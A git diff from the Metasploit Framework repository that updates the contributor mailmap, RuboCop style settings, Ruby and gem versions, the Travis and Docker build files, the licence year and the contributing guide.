acammack-r7 <acammack-r7@github> <acammack@aus-mbp-1099.aus.rapid7.com>
acammack-r7 <acammack-r7@github> <adam_cammack@rapid7.com>
acammack-r7 <acammack-r7@github> <Adam_Cammack@rapid7.com>
adamgalway-r7 <adamgalway-r7@github> <adam_galway@rapid7.com>
adfoster-r7 <adfoster-r7@github> <alandavid_foster@rapid7.com>
bcook-r7 <bcook-r7@github> <bcook@rapid7.com>
bcook-r7 <bcook-r7@github> <busterb@gmail.com>
bturner-r7 <bturner-r7@github> <brandon_turner@rapid7.com>
bwatters-r7 <bwatters-r7@github> <bwatters@rapid7.com>
cdelafuente-r7 <cdelafuente-r7@github> Christophe De La Fuente <christophe_delafuente@rapid7.com>
cdoughty-r7 <cdoughty-r7@github> <chris_doughty@rapid7.com>
cgranleese-r7 <cgranleese-r7@github> <christopher_granleese@rapid7.com>
dheiland-r7 <dheiland-r7@github> <dh@layereddefense.com>
dwelch-r7 <dwelch-r7@github> <dean_welch@rapid7.com>
ecarey-r7 <ecarey-r7@github> <e@ipwnstuff.com>
gwillcox-r7 <gwillcox-r7@github> <Grant_Willcox@rapid7.com>
jbarnett-r7 <jbarnett-r7@github> <James_Barnett@rapid7.com>
jbarnett-r7 <jbarnett-r7@github> <jbarnett@rapid7.com>
jinq102030 <jinq102030@github> <Jin_Qian@rapid7.com>
jinq102030 <jinq102030@github> <jqian@rapid7.com>
jmartin-r7 <jmartin-r7@github> <Jeffrey_Martin@rapid7.com>
lsato-r7 <lsato-r7@github> <lsato@rapid7.com>
lvarela-r7 <lvarela-r7@github> <“leonardo_varela@rapid7.com>
mkienow-r7 <mkienow-r7@github> <matthew_kienow@rapid7.com>
pbarry-r7 <pbarry-r7@github> <pearce_barry@rapid7.com>
pdeardorff-r7 <pdeardorff-r7@github> <paul_deardorff@rapid7.com>
pdeardorff-r7 <pdeardorff-r7@github> <Paul_Deardorff@rapid7.com>
sgonzalez-r7 <sgonzalez-r7@github> <sgonzalez@rapid7.com>
sgonzalez-r7 <sgonzalez-r7@github> <sonny_gonzalez@rapid7.com>
shuckins-r7 <shuckins-r7@github> <samuel_huckins@rapid7.com>
smcintyre-r7 <smcintyre-r7@github> <spencer_mcintyre@rapid7.com>
space-r7 <space-r7@github> <shelby_pace@rapid7.com>
tdoan-r7 <tdoan-r7@github> <thao_doan@rapid7.com>
todb-r7 <todb-r7@github> <tod_beardsley@rapid7.com>
todb-r7 <todb-r7@github> <todb@metasploit.com>
todb-r7 <todb-r7@github> <todb@packetfu.com>
wchen-r7 <wchen-r7@github> <msfsinn3r@gmail.com> # aka sinn3r
wchen-r7 <wchen-r7@github> <wei_chen@rapid7.com>
wvu-r7 <wvu-r7@github> <William_Vu@rapid7.com>
wvu-r7 <wvu-r7@github> <wvu@nmt.edu>
wwalker-r7 <wwalker-r7@github> <wyatt_walker@rapid7.com>
# Above this line are current Rapid7 employees. Below this paragraph are
# volunteers, former employees, and potential Rapid7 employees who, at
@@ -62,9 +47,12 @@ wwebb-r7 <wwebb-r7@github> <William_Webb@rapid7.com>
# periodically. If you're on this list and would like to not be, just
# let todb@metasploit.com know.
asoto-r7 <asoto-r7@github> <aaron_soto@rapid7.com>
bannedit <bannedit@github> David Rude <bannedit0@gmail.com>
bcoles <bcoles@github> bcoles <bcoles@gmail.com>
bokojan <bokojan@github> parzamendi-r7 <peter_arzamendi@rapid7.com>
bpatterson-r7 <bpatterson-r7@github> <bpatterson@rapid7.com>
bpatterson-r7 <bpatterson-r7@github> <Brian_Patterson@rapid7.com>
brandonprry <brandonprry@github> <bperry@brandons-mbp.attlocal.net>
brandonprry <brandonprry@github> Brandon Perry <bperry@bperry-rapid7.(none)>
brandonprry <brandonprry@github> Brandon Perry <bperry.volatile@gmail.com>
@@ -83,8 +71,13 @@ corelanc0d3r <corelanc0d3r@github> Peter Van Eeckhoutte (corelanc0d3r) <pete
crcatala <crcatala@github> Christian Catalan <ccatalan@rapid7.com>
darkoperator <darkoperator@github> Carlos Perez <carlos_perez@darkoperator.com>
DanielRTeixeira <DanielRTeixeira@github> Daniel Teixeira <danieljcrteixeira@gmail.com>
dmaloney-r7 <dmaloney-r7@github> <David_Maloney@rapid7.com>
dmaloney-r7 <dmaloney-r7@github> <DMaloney@rapid7.com>
dmohanty-r7 <dmohanty-r7@github> <Dev_Mohanty@rapid7.com>
efraintorres <efraintorres@github> efraintorres <etlownoise@gmail.com>
efraintorres <efraintorres@github> et <>
egypt <egypt@github> <egypt@metasploit.com> # aka egypt
egypt <egypt@github> <james_lee@rapid7.com>
espreto <espreto@github> <robertoespreto@gmail.com>
fab <fab@???> fab <> # fab at revhosts.net (Fabrice MOURRON)
farias-r7 <farias-r7@github> <fernando_arias@rapid7.com>
@@ -110,6 +103,7 @@ jcran <jcran@github> <jcran@rapid7.com>
jduck <jduck@github> <github.jdrake@qoop.org>
jduck <jduck@github> <jdrake@qoop.org>
jgor <jgor@github> jgor <jgor@indiecom.org>
jhart-r7 <jhart-r7@github> <jon_hart@rapid7.com>
joevennix <joevennix@github> Joe Vennix <joevennix@gmail.com>
joevennix <joevennix@github> <Joe_Vennix@rapid7.com>
joevennix <joevennix@github> <joev@metasploit.com>
@@ -119,9 +113,15 @@ juanvazquez <juanvazquez@github> jvazquez-r7 <juan_vazquez@rapid7.com>
kernelsmith <kernelsmith@github> Joshua Smith <kernelsmith@kernelsmith.com>
kernelsmith <kernelsmith@github> Joshua Smith <kernelsmith@metasploit.com>
kernelsmith <kernelsmith@github> kernelsmith <kernelsmith@kernelsmith>
kgray-r7 <kgray-r7@github> <kyle_gray@rapid7.com>
kost <kost@github> Vlatko Kosturjak <kost@linux.hr>
kris <kris@???> kris <>
KronicDeth <KronicDeth@github> Luke Imhoff <luke_imhoff@rapid7.com>
lsanchez-r7 <lsanchez-r7@github> <lance@aus-mac-1041.aus.rapid7.com>
lsanchez-r7 <lsanchez-r7@github> <lance@AUS-MAC-1041.local>
lsanchez-r7 <lsanchez-r7@github> <lance.sanchez+github@gmail.com>
lsanchez-r7 <lsanchez-r7@github> <lance.sanchez@gmail.com>
lsanchez-r7 <lsanchez-r7@github> <lance.sanchez@rapid7.com>
m-1-k-3 <m-1-k-3@github> m-1-k-3 <github@s3cur1ty.de>
m-1-k-3 <m-1-k-3@github> m-1-k-3 <m1k3@s3cur1ty.de>
m-1-k-3 <m-1-k-3@github> m-1-k-3 <michael.messner@integralis.com>
@@ -151,12 +151,16 @@ rwhitcroft <rwhitcroft@github> <rwhitcroft@users.noreply.github.com>
schierlm <schierlm@github> Michael Schierl <schierlm@gmx.de> # Aka mihi
scriptjunkie <scriptjunkie@github> Matt Weeks <scriptjunkie@scriptjunkie.us>
scriptjunkie <scriptjunkie@github> scriptjunkie <scriptjunkie@scriptjunkie.us>
sdavis-r7 <sdavis-r7@github> <scott_davis@rapid7.com>
sdavis-r7 <sdavis-r7@github> <Scott_Davis@rapid7.com>
sdavis-r7 <sdavis-r7@github> <sdavis@rapid7.com>
skape <skape@???> Matt Miller <mmiller@hick.org>
spoonm <spoonm@github> Spoon M <spoonm@gmail.com>
stufus <stufus@github> Stuart Morgan <stuart.morgan@mwrinfosecurity.com>
stufus <stufus@github> Stuart <stufus@users.noreply.github.com>
swtornio <swtornio@github> Steve Tornio <swtornio@gmail.com>
Tasos Laskos <Tasos_Laskos@rapid7.com> Tasos Laskos <Tasos_Laskos@rapid7.com>
tatanus <tatanus@github> <adam_compton@rapid7.com>
techpeace <techpeace@github> Matt Buck <Matthew_Buck@rapid7.com>
techpeace <techpeace@github> Matt Buck <techpeace@gmail.com>
timwr <timwr@github> <timrlw@gmail.com>
@@ -164,6 +168,7 @@ TomSellers <TomSellers@github> Tom Sellers <tom@fadedcode.net>
trevrosen <trevrosen@github> Trevor Rosen <trevor@catapult-creative.com>
trevrosen <trevrosen@github> Trevor Rosen <Trevor_Rosen@rapid7.com>
TrustedSec <davek@trustedsec.com> trustedsec <davek@trustedsec.com>
wwebb-r7 <wwebb-r7@github> <William_Webb@rapid7.com>
void-in <void-in@github> void_in <root@localhost.localdomain>
void-in <void-in@github> void-in <root@localhost.localdomain>
void-in <void-in@github> <void-in@users.noreply.github.com>
+82 -21
View File
@@ -11,6 +11,16 @@
AllCops:
TargetRubyVersion: 2.4
require:
- ./lib/rubocop/cop/layout/module_hash_on_new_line.rb
- ./lib/rubocop/cop/layout/module_description_indentation.rb
Layout/ModuleHashOnNewLine:
Enabled: true
Layout/ModuleDescriptionIndentation:
Enabled: true
Metrics/ClassLength:
Description: 'Most Metasploit modules are quite large. This is ok.'
Enabled: true
@@ -59,6 +69,25 @@ Style/Documentation:
Exclude:
- 'modules/**/*'
Layout/FirstArgumentIndentation:
Enabled: true
EnforcedStyle: consistent
Description: 'Useful for the module hash to be indented consistently'
Layout/ArgumentAlignment:
Enabled: true
EnforcedStyle: with_first_argument
Description: 'Useful for the module hash to be indented consistently'
Layout/FirstHashElementIndentation:
Enabled: true
EnforcedStyle: consistent
Description: 'Useful for the module hash to be indented consistently'
Layout/FirstHashElementLineBreak:
Enabled: true
Description: 'Enforce consistency by breaking hash elements on to new lines'
Layout/SpaceInsideArrayLiteralBrackets:
Enabled: false
Description: 'Almost all module metadata have space in brackets'
@@ -93,46 +122,47 @@ Style/TrailingCommaInArrayLiteral:
Metrics/LineLength:
Description: >-
Metasploit modules often pattern match against very
long strings when identifying targets.
Metasploit modules often pattern match against very
long strings when identifying targets.
Enabled: true
Max: 180
Metrics/BlockLength:
Enabled: true
Description: >-
While the style guide suggests 10 lines, exploit definitions
often exceed 200 lines.
While the style guide suggests 10 lines, exploit definitions
often exceed 200 lines.
Max: 300
Metrics/MethodLength:
Enabled: true
Description: >-
While the style guide suggests 10 lines, exploit definitions
often exceed 200 lines.
While the style guide suggests 10 lines, exploit definitions
often exceed 200 lines.
Max: 300
Naming/UncommunicativeMethodParamName:
Naming/MethodParameterName:
Enabled: true
Description: 'Whoever made this requirement never looked at crypto methods, IV'
MinNameLength: 2
# %q() is super useful for long strings split over multiple lines and
# is very common in module constructors for things like descriptions
Style/UnneededPercentQ:
Style/RedundantPercentQ:
Enabled: false
Style/NumericLiterals:
Enabled: false
Description: 'This often hurts readability for exploit-ish code.'
Layout/AlignHash:
Enabled: false
Description: 'aligning info hashes to match these rules is almost impossible to get right'
Layout/FirstArrayElementLineBreak:
Enabled: true
Description: 'This cop checks for a line break before the first element in a multi-line array.'
Layout/EmptyLines:
Enabled: false
Description: 'these are used to increase readability'
Layout/FirstArrayElementIndentation:
Enabled: true
EnforcedStyle: consistent
Description: 'Useful to force values within the register_options array to have sane indentation'
Layout/EmptyLinesAroundClassBody:
Enabled: false
@@ -142,19 +172,24 @@ Layout/EmptyLinesAroundMethodBody:
Enabled: false
Description: 'these are used to increase readability'
Layout/AlignParameters:
Layout/ExtraSpacing:
Description: 'Do not use unnecessary spacing.'
Enabled: true
EnforcedStyle: 'with_fixed_indentation'
Description: 'initialize method of every module has fixed indentation for Name, Description, etc'
# When true, allows most uses of extra spacing if the intent is to align
# things with the previous or next line, not counting empty lines or comment
# lines.
AllowForAlignment: false
# When true, allows things like 'obj.meth(arg) # comment',
# rather than insisting on 'obj.meth(arg) # comment'.
# If done for alignment, either this OR AllowForAlignment will allow it.
AllowBeforeTrailingComments: false
# When true, forces the alignment of `=` in assignments on consecutive lines.
ForceEqualSignAlignment: false
Style/For:
Enabled: false
Description: 'if a module is written with a for loop, it cannot always be logically replaced with each'
Style/StringLiterals:
Enabled: false
Description: 'Single vs double quote fights are largely unproductive.'
Style/WordArray:
Enabled: false
Description: 'Metasploit prefers consistent use of []'
@@ -163,6 +198,22 @@ Style/IfUnlessModifier:
Enabled: false
Description: 'This style might save a couple of lines, but often makes code less clear'
Style/PercentLiteralDelimiters:
Description: 'Use `%`-literal delimiters consistently.'
Enabled: true
# Specify the default preferred delimiter for all types with the 'default' key
# Override individual delimiters (even with default specified) by specifying
# an individual key
PreferredDelimiters:
default: ()
'%i': '[]'
'%I': '[]'
'%r': '{}'
'%w': '[]'
'%W': '[]'
'%q': '{}' # Chosen for module descriptions as () are frequently used characters, whilst {} are rarely used
VersionChanged: '0.48.1'
Style/RedundantBegin:
Exclude:
# this pattern is very common and somewhat unavoidable
@@ -177,6 +228,16 @@ Style/RedundantBegin:
# end
- 'modules/**/*'
Style/SafeNavigation:
Description: >-
This cop transforms usages of a method call safeguarded by
a check for the existence of the object to
safe navigation (`&.`).
This has been disabled as in some scenarios it produced invalid code, and disobeyed the 'AllowedMethods'
configuration.
Enabled: false
Documentation:
Exclude:
- 'modules/**/*'
+1 -1
View File
@@ -1 +1 @@
2.6.2
2.6.6
+3 -3
View File
@@ -11,8 +11,8 @@ addons:
- graphviz
language: ruby
rvm:
- '2.5.5'
- '2.6.2'
- '2.5.8'
- '2.6.6'
env:
- CMD='bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag content"'
@@ -43,7 +43,7 @@ before_install:
- ls -la ./.git/hooks
- ./.git/hooks/post-merge
# Update the bundler
- gem update --system
- gem update --system 3.0.6
- gem install bundler
before_script:
- cp config/database.yml.travis config/database.yml
+42 -38
View File
@@ -1,63 +1,66 @@
# Hello, World!
Thanks for your interest in making Metasploit -- and therefore, the
world -- a better place! Before you get started, review our
[Code of Conduct]. There are mutliple ways to help beyond just writing code:
- [Submit bugs and feature requests] with detailed information about your issue or idea.
- [Help fellow users with open issues] or [help fellow committers test recent pull requests].
- [Report a security vulnerability in Metasploit itself] to Rapid7.
- Submit an updated or brand new module! We are always eager for exploits, scanners, and new
integrations or features. Don't know where to start? Set up a [development environment], then head over to ExploitDB to look for [proof-of-concept exploits] that might make a good module.
# Contributing to Metasploit
Thank you for your interest in making Metasploit -- and therefore, the
world -- a better place! Before you get started, please review our [Code of Conduct](https://github.com/rapid7/metasploit-framework/wiki/Code-Of-Conduct). This helps us ensure our community is positive and supportive for everyone involved.
## Code Free Contributions
Before we get into the details of contributing code, you should know there are multiple ways you can add to Metasploit without any coding experience:
- You can [submit bugs and feature requests](https://github.com/rapid7/metasploit-framework/issues/new) with detailed information about your issue or idea:
- If you'd like to propose a feature, describe what you'd like to see. Mock ups of console views would be great.
- If you're reporting a bug, please be sure to include the expected behaviour, the observed behaviour, and steps to reproduce the problem. Resource scripts, console copy-pastes, and any background on the environment you encountered the bug in would be appreciated. More information can be found [below](#bug-reports).
- [Help fellow users with open issues]. This can require technical knowledge, but you can also get involved in conversations about bug reports and feature requests. This is a great way to get involved without getting too overwhelmed!
- [Help fellow committers test recently submitted pull requests](https://github.com/rapid7/metasploit-framework/pulls). Again this can require some technical skill, but by pulling down a pull request and testing it, you can help ensure our new code contributions for stability and quality.
- [Report a security vulnerability in Metasploit itself] to Rapid7. If you see something you think makes Metasploit vulnerable to an attack, let us know!
- [Add module documentation](https://github.com/rapid7/metasploit-framework/wiki/Generating-Module-Documentation). New documentation is always needed and cleaning up existing documents is just as important! If you're a non-native english speaker, you can help by replacing any ambiguous idioms, metaphors, or unclear language that might make our documentation hard to understand.
Here's a short list of do's and don'ts to make sure *your* valuable contributions actually make
it into Metasploit's master branch. If you do not care to follow these rules, your contribution
**will** be closed. Sorry!
## Code Contributions
For those of you who are looking to add code to Metasploit, your first step is to set up a [development environment]. Once that's done, we recommend beginners start by adding a [proof-of-concept exploit from ExploitDB,](https://www.exploit-db.com/search?verified=true&hasapp=true&nomsf=true) as a new module to the Metasploit framework. These exploits have been verified as recreatable and their ExploitDB page includes a copy of the exploitable software. This makes testing your module locally much simpler, and most importantly the exploits don't have an existing Metasploit implementation. ExploitDB can be slow to update however, so please double check that there isn't an existing module before beginning development! If you're certain the exploit you've chosen isn't already in Metasploit, read our [writing an exploit guide](https://github.com/rapid7/metasploit-framework/wiki/How-to-get-started-with-writing-an-exploit). It will help you to get started and avoid some common mistakes.
* **Do** stick to the [Ruby style guide] and use [Rubocop] to find common style issues.
Once you have finished your new module and tested it locally to ensure it's working as expected, check out our [guide for accepting modules](https://github.com/rapid7/metasploit-framework/wiki/Guidelines-for-Accepting-Modules-and-Enhancements#module-additions). This will give you a good idea of how to clean up your code so that it's likely to get accepted.
Finally, follow our short list of do's and don'ts below to make sure your valuable contributions actually make it into Metasploit's master branch! We try to consider all our pull requests fairly and in detail, but if you do not follow these rules, your contribution
will be closed. We need to ensure the code we're adding to master is written to a high standard.
### Code Contribution Do's & Don'ts:
--
#### <u>Pull Requests</u>
**Pull request [PR#9966] is a good example to follow.**
* **Do** create a [topic branch] to work on instead of working directly on `master`. This helps to:
* Protect the process.
* Ensures users are aware of commits on the branch being considered for merge.
* Allows for a location for more commits to be offered without mingling with other contributor changes.
* Allows contributors to make progress while a PR is still being reviewed.
* **Do** follow the [50/72 rule] for Git commit messages.
* **Do** license your code as BSD 3-clause, BSD 2-clause, or MIT.
* **Do** create a [topic branch] to work on instead of working directly on `master`.
This helps protect the process, ensures users are aware of commits on the branch being considered for merge,
allows for a location for more commits to be offered without mingling with other contributor changes,
and allows contributors to make progress while a PR is still being reviewed.
### Pull Requests
* **Do** write "WIP" on your PR and/or open a [draft PR] if submitting **working** yet unfinished code.
* **Do** target your pull request to the **master branch**.
* **Do** specify a descriptive title to make searching for your pull request easier.
* **Do** include [console output], especially for witnessable effects in `msfconsole`.
* **Do** include [console output], especially for effects that can be witnessed in the `msfconsole`.
* **Do** list [verification steps] so your code is testable.
* **Do** [reference associated issues] in your pull request description.
* **Don't** leave your pull request description blank.
* **Don't** abandon your pull request. Being responsive helps us land your code faster.
* **Don't** post questions in older closed PRs.
Pull request [PR#9966] is a good example to follow.
#### New Modules
#### <u>New Modules</u>
* **Do** license your code as BSD 3-clause, BSD 2-clause, or MIT.
* **Do** stick to the [Ruby style guide] and use [Rubocop] to find common style issues.
* **Do** set up `msftidy` to fix any errors or warnings that come up as a [pre-commit hook].
* **Do** use the many module mixin [API]s.
* **Don't** include more than one module per pull request.
* **Do** include instructions on how to setup the vulnerable environment or software.
* **Do** include [Module Documentation] showing sample run-throughs.
* **Don't** submit new [scripts]. Scripts are shipped as examples for automating local tasks, and
anything "serious" can be done with post modules and local exploits.
#### Library Code
* **Don't** include more than one module per pull request.
* **Don't** submit new [scripts]. Scripts are shipped as examples for automating local tasks, and anything "serious" can be done with post modules and local exploits.
#### <u>Library Code</u>
* **Do** write [RSpec] tests - even the smallest change in a library can break existing code.
* **Do** follow [Better Specs] - it's like the style guide for specs.
* **Do** write [YARD] documentation - this makes it easier for people to use your code.
* **Don't** fix a lot of things in one pull request. Small fixes are easier to validate.
#### Bug Fixes
#### <u>Bug Fixes</u>
* **Do** include reproduction steps in the form of verification steps.
* **Do** link to any corresponding [Issues] in the format of `See #1234` in your commit description.
@@ -69,6 +72,7 @@ When reporting Metasploit issues:
* **Do** write a detailed description of your bug and use a descriptive title.
* **Do** include reproduction steps, stack traces, and anything that might help us fix your bug.
* **Don't** file duplicate reports; search for your bug before filing a new report.
* **Don't** attempt to report issues on a closed PR.
If you need some more guidance, talk to the main body of open source contributors over on our
[Metasploit Slack] or [#metasploit on Freenode IRC].
@@ -97,8 +101,8 @@ curve, so keep it up!
[Module Documentation]:https://github.com/rapid7/metasploit-framework/wiki/Generating-Module-Documentation
[scripts]:https://github.com/rapid7/metasploit-framework/tree/master/scripts
[RSpec]:http://rspec.info
[Better Specs]:http://betterspecs.org
[Better Specs]:http://www.betterspecs.org/
[YARD]:http://yardoc.org
[Issues]:https://github.com/rapid7/metasploit-framework/issues
[Metasploit Slack]:https://www.metasploit.com/slack
[#metasploit on Freenode IRC]:http://webchat.freenode.net/?channels=%23metasploit&uio=d4
[#metasploit on Freenode IRC]:http://webchat.freenode.net/?channels=%23metasploit&uio=d4
+1 -1
View File
@@ -1,4 +1,4 @@
Copyright (C) 2006-2018, Rapid7, Inc.
Copyright (C) 2006-2020, Rapid7, Inc.
All rights reserved.
Redistribution and use in source and binary forms, with or without modification,
+10 -7
View File
@@ -1,4 +1,4 @@
FROM ruby:2.6.2-alpine3.9 AS builder
FROM ruby:2.6.6-alpine3.10 AS builder
LABEL maintainer="Rapid7"
ARG BUNDLER_ARGS="--jobs=8 --without development test coverage"
@@ -27,16 +27,16 @@ RUN apk add --no-cache \
zlib-dev \
ncurses-dev \
git \
&& echo "gem: --no-ri --no-rdoc" > /etc/gemrc \
&& gem update --system \
&& bundle install --clean --no-cache --system $BUNDLER_ARGS \
&& echo "gem: --no-document" > /etc/gemrc \
&& gem update --system 3.0.6 \
&& bundle install --force --clean --no-cache --system $BUNDLER_ARGS \
# temp fix for https://github.com/bundler/bundler/issues/6680
&& rm -rf /usr/local/bundle/cache \
# needed so non root users can read content of the bundle
&& chmod -R a+r /usr/local/bundle
FROM ruby:2.6.2-alpine3.9
FROM ruby:2.6.5-alpine3.10
LABEL maintainer="Rapid7"
ENV APP_HOME=/usr/src/metasploit-framework
@@ -51,8 +51,11 @@ RUN apk add --no-cache bash sqlite-libs nmap nmap-scripts nmap-nselibs postgresq
RUN /usr/sbin/setcap cap_net_raw,cap_net_bind_service=+eip $(which ruby)
RUN /usr/sbin/setcap cap_net_raw,cap_net_bind_service=+eip $(which nmap)
COPY --chown=root:metasploit --from=builder /usr/local/bundle /usr/local/bundle
COPY --chown=root:metasploit . $APP_HOME/
COPY --from=builder /usr/local/bundle /usr/local/bundle
RUN chown -R root:metasploit /usr/local/bundle
COPY . $APP_HOME/
RUN chown -R root:metasploit $APP_HOME/
RUN chmod 664 $APP_HOME/Gemfile.lock
RUN cp -f $APP_HOME/docker/database.yml $APP_HOME/config/database.yml
WORKDIR $APP_HOME
+7 -2
View File
@@ -8,7 +8,7 @@ gem 'sqlite3', '~>1.3.0'
# separate from test as simplecov is not run on travis-ci
group :coverage do
# code coverage for tests
gem 'simplecov'
gem 'simplecov', '0.18.2'
end
group :development do
@@ -17,9 +17,13 @@ group :development do
# generating documentation
gem 'yard'
# for development and testing purposes
gem 'pry'
gem 'pry-byebug'
# module documentation
gem 'octokit'
# memory profiling
gem 'memory_profiler'
# cpu profiling
gem 'ruby-prof'
# Metasploit::Aggregator external session proxy
# disabled during 2.5 transition until aggregator is available
#gem 'metasploit-aggregator'
@@ -36,6 +40,7 @@ group :development, :test do
# environment is development
gem 'rspec-rails'
gem 'rspec-rerun'
gem 'rubocop'
gem 'swagger-blocks'
end
+223 -194
View File
@@ -1,35 +1,41 @@
PATH
remote: .
specs:
metasploit-framework (5.0.34)
actionpack (~> 4.2.6)
activerecord (~> 4.2.6)
activesupport (~> 4.2.6)
metasploit-framework (6.0.3)
actionpack (~> 5.2.2)
activerecord (~> 5.2.2)
activesupport (~> 5.2.2)
aws-sdk-ec2
aws-sdk-iam
aws-sdk-s3
backports
bcrypt
bcrypt_pbkdf
bit-struct
bson
concurrent-ruby (= 1.0.5)
dnsruby
ed25519
em-http-request
eventmachine
faker
faraday
faye-websocket
filesize
hrr_rb_ssh (= 0.3.0.pre2)
irb
jsobfu
json
metasm
metasploit-concern
metasploit-credential
metasploit-model
metasploit-payloads (= 1.3.70)
metasploit_data_models (= 3.0.10)
metasploit_payloads-mettle (= 0.5.16)
metasploit-payloads (= 2.0.10)
metasploit_data_models
metasploit_payloads-mettle (= 1.0.2)
mqtt
msgpack
nessus_rest
net-ldap
net-ssh
network_interface
nexpose
@@ -41,7 +47,7 @@ PATH
patch_finder
pcaprub
pdf-reader
pg (~> 0.20)
pg
railties
rb-readline
recog
@@ -65,7 +71,7 @@ PATH
rex-text
rex-zip
ruby-macho
ruby_smb
ruby_smb (~> 2.0)
rubyntlm
rubyzip
sinatra
@@ -83,76 +89,77 @@ GEM
remote: https://rubygems.org/
specs:
Ascii85 (1.0.3)
actionpack (4.2.11.1)
actionview (= 4.2.11.1)
activesupport (= 4.2.11.1)
rack (~> 1.6)
rack-test (~> 0.6.2)
rails-dom-testing (~> 1.0, >= 1.0.5)
actionpack (5.2.4.3)
actionview (= 5.2.4.3)
activesupport (= 5.2.4.3)
rack (~> 2.0, >= 2.0.8)
rack-test (>= 0.6.3)
rails-dom-testing (~> 2.0)
rails-html-sanitizer (~> 1.0, >= 1.0.2)
actionview (4.2.11.1)
activesupport (= 4.2.11.1)
actionview (5.2.4.3)
activesupport (= 5.2.4.3)
builder (~> 3.1)
erubis (~> 2.7.0)
rails-dom-testing (~> 1.0, >= 1.0.5)
erubi (~> 1.4)
rails-dom-testing (~> 2.0)
rails-html-sanitizer (~> 1.0, >= 1.0.3)
activemodel (4.2.11.1)
activesupport (= 4.2.11.1)
builder (~> 3.1)
activerecord (4.2.11.1)
activemodel (= 4.2.11.1)
activesupport (= 4.2.11.1)
arel (~> 6.0)
activesupport (4.2.11.1)
i18n (~> 0.7)
activemodel (5.2.4.3)
activesupport (= 5.2.4.3)
activerecord (5.2.4.3)
activemodel (= 5.2.4.3)
activesupport (= 5.2.4.3)
arel (>= 9.0)
activesupport (5.2.4.3)
concurrent-ruby (~> 1.0, >= 1.0.2)
i18n (>= 0.7, < 2)
minitest (~> 5.1)
thread_safe (~> 0.3, >= 0.3.4)
tzinfo (~> 1.1)
addressable (2.6.0)
public_suffix (>= 2.0.2, < 4.0)
addressable (2.7.0)
public_suffix (>= 2.0.2, < 5.0)
afm (0.2.2)
arel (6.0.4)
arel-helpers (2.9.1)
arel (9.0.0)
arel-helpers (2.11.0)
activerecord (>= 3.1.0, < 7)
aws-eventstream (1.0.3)
aws-partitions (1.180.0)
aws-sdk-core (3.56.0)
aws-eventstream (~> 1.0, >= 1.0.2)
aws-partitions (~> 1.0)
ast (2.4.1)
aws-eventstream (1.1.0)
aws-partitions (1.358.0)
aws-sdk-core (3.104.4)
aws-eventstream (~> 1, >= 1.0.2)
aws-partitions (~> 1, >= 1.239.0)
aws-sigv4 (~> 1.1)
jmespath (~> 1.0)
aws-sdk-ec2 (1.96.0)
aws-sdk-core (~> 3, >= 3.56.0)
aws-sdk-ec2 (1.188.0)
aws-sdk-core (~> 3, >= 3.99.0)
aws-sigv4 (~> 1.1)
aws-sdk-iam (1.26.0)
aws-sdk-core (~> 3, >= 3.56.0)
aws-sdk-iam (1.43.0)
aws-sdk-core (~> 3, >= 3.99.0)
aws-sigv4 (~> 1.1)
aws-sdk-kms (1.22.0)
aws-sdk-core (~> 3, >= 3.56.0)
aws-sdk-kms (1.36.0)
aws-sdk-core (~> 3, >= 3.99.0)
aws-sigv4 (~> 1.1)
aws-sdk-s3 (1.43.0)
aws-sdk-core (~> 3, >= 3.56.0)
aws-sdk-s3 (1.78.0)
aws-sdk-core (~> 3, >= 3.104.3)
aws-sdk-kms (~> 1)
aws-sigv4 (~> 1.1)
aws-sigv4 (1.1.0)
aws-eventstream (~> 1.0, >= 1.0.2)
backports (3.15.0)
bcrypt (3.1.13)
aws-sigv4 (1.2.2)
aws-eventstream (~> 1, >= 1.0.2)
bcrypt (3.1.15)
bcrypt_pbkdf (1.0.1)
bindata (2.4.4)
bindata (2.4.8)
bit-struct (0.16)
builder (3.2.3)
coderay (1.1.2)
bson (4.10.0)
builder (3.2.4)
byebug (11.1.3)
coderay (1.1.3)
concurrent-ruby (1.0.5)
cookiejar (0.3.3)
crass (1.0.4)
crass (1.0.6)
daemons (1.3.1)
diff-lcs (1.3)
dnsruby (1.61.2)
addressable (~> 2.5)
diff-lcs (1.4.4)
dnsruby (1.61.4)
simpleidn (~> 0.1)
docile (1.3.2)
ed25519 (1.2.4)
em-http-request (1.1.5)
em-http-request (1.1.6)
addressable (>= 2.3.4)
cookiejar (!= 0.3.1)
em-socksify (>= 0.3)
@@ -160,42 +167,45 @@ GEM
http_parser.rb (>= 0.6.0)
em-socksify (0.3.2)
eventmachine (>= 1.0.0.beta.4)
equatable (0.6.1)
erubis (2.7.0)
erubi (1.9.0)
eventmachine (1.2.7)
factory_bot (5.0.2)
activesupport (>= 4.2.0)
factory_bot_rails (5.0.2)
factory_bot (~> 5.0.2)
railties (>= 4.2.0)
faker (1.9.4)
i18n (>= 0.7)
pastel (~> 0.7.2)
thor (~> 0.20.0)
tty-pager (~> 0.12.0)
tty-screen (~> 0.6.5)
tty-tree (~> 0.3.0)
faraday (0.15.4)
factory_bot (6.1.0)
activesupport (>= 5.0.0)
factory_bot_rails (6.1.0)
factory_bot (~> 6.1.0)
railties (>= 5.0.0)
faker (2.13.0)
i18n (>= 1.6, < 2)
faraday (1.0.1)
multipart-post (>= 1.2, < 3)
faye-websocket (0.11.0)
eventmachine (>= 0.12.0)
websocket-driver (>= 0.5.1)
filesize (0.2.0)
fivemat (1.3.7)
hashery (2.1.2)
hrr_rb_ssh (0.3.0.pre2)
ed25519 (~> 1.2)
http_parser.rb (0.6.0)
i18n (0.9.5)
i18n (1.8.5)
concurrent-ruby (~> 1.0)
io-console (0.5.6)
irb (1.2.4)
reline (>= 0.0.1)
jmespath (1.4.0)
jsobfu (0.4.2)
rkelly-remix
json (2.2.0)
loofah (2.2.3)
json (2.3.1)
loofah (2.6.0)
crass (~> 1.0.2)
nokogiri (>= 1.5.9)
memory_profiler (0.9.14)
metasm (1.0.4)
metasploit-concern (2.0.5)
activemodel (~> 4.2.6)
activesupport (~> 4.2.6)
railties (~> 4.2.6)
metasploit-credential (3.0.3)
metasploit-concern (3.0.0)
activemodel (~> 5.2.2)
activesupport (~> 5.2.2)
railties (~> 5.2.2)
metasploit-credential (4.0.2)
metasploit-concern
metasploit-model
metasploit_data_models (>= 3.0.0)
@@ -205,84 +215,88 @@ GEM
rex-socket
rubyntlm
rubyzip
metasploit-model (2.0.4)
activemodel (~> 4.2.6)
activesupport (~> 4.2.6)
railties (~> 4.2.6)
metasploit-payloads (1.3.70)
metasploit_data_models (3.0.10)
activerecord (~> 4.2.6)
activesupport (~> 4.2.6)
metasploit-model (3.0.0)
activemodel (~> 5.2.2)
